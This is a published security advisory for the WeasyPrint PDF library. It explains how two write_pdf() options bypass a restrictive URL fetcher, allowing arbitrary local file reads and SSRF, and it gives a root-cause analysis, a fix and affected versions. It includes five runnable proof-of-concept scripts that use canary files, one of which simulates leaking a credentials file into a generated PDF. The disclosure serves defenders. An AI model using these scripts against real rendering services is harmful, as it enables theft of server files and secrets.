PYSEC-2026-3940

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/weasyprint/PYSEC-2026-3940.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3940
Aliases
Published
2026-09-10T09:45:01Z
Modified
2026-09-10T12:15:15Z
Severity
  • 6.2 (Medium) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
weasyprint Has Server-Side Request Forgery (SSRF)
Details

Summary

url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

  • xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
    ...
    if url_fetcher is None:
        url_fetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

  • <link rel=stylesheet> in weasyprint/css/__init__.py
  • <style> in weasyprint/css/__init__.py
  • @import in weasyprint/css/__init__.py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/__init__.py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not — they build a fresh default fetcher instead:

  • write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
  • write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

if options['xmp_metadata']:
    for url in options['xmp_metadata']:
        result = select_source(url)          # no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

for css in options['stylesheets'] or []:
    if not hasattr(css, 'matcher'):
        css = CSS(                            # no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp_metadata= reads a file:// the fetcher blocks

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True

# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True

3 - the stylesheets= bypass is transitive

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True

4 - xmp_metadata= discloses a credentials file in full

import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -> False

Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

  • pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
References

Affected packages

PyPI / weasyprint

Package

Name
weasyprint
View open source insights on deps.dev
Purl
pkg:pypi/weasyprint

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
70.0

Affected versions

0.*
0.1
0.2
0.2.1
0.2.2
0.3
0.3.1
0.4
0.5
0.6
0.6.1
0.7
0.7.1
0.8
0.9
0.10
0.11
0.12
0.13
0.14
0.15
0.16
0.17
0.17.1
0.18
0.19
0.19.1
0.19.2
0.20
0.20.1
0.20.2
0.21
0.22
0.23
0.24
0.25
0.26
0.27
0.28
0.29
0.30
0.31
0.32
0.33
0.34
0.35
0.36
0.37
0.38
0.39
0.40
0.41
0.42
0.42.1
0.42.2
0.42.3
Other
43rc1
43rc2
43
44
45
46
47
48
49
50
51
52
52.*
52.1
52.2
52.3
52.4
52.5
53.*
53.0b1
53.0b2
53.0
53.1
53.2
53.3
53.4
54.*
54.0b1
54.0
54.1
54.2
54.3
55.*
55.0b1
55.0
56.*
56.0b1
56.0
56.1
57.*
57.0b1
57.0
57.1
57.2
58.*
58.0b1
58.0
58.1
59.*
59.0b1
59.0
60.*
60.0
60.1
60.2
61.*
61.0
61.1
61.2
62.*
62.0
62.1
62.2
62.3
63.*
63.0
63.1
64.*
64.0
64.1
65.*
65.0
65.1
66.*
66.0
67.*
67.0
68.*
68.0
68.1
69.*
69.0

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/weasyprint/PYSEC-2026-3940.yaml"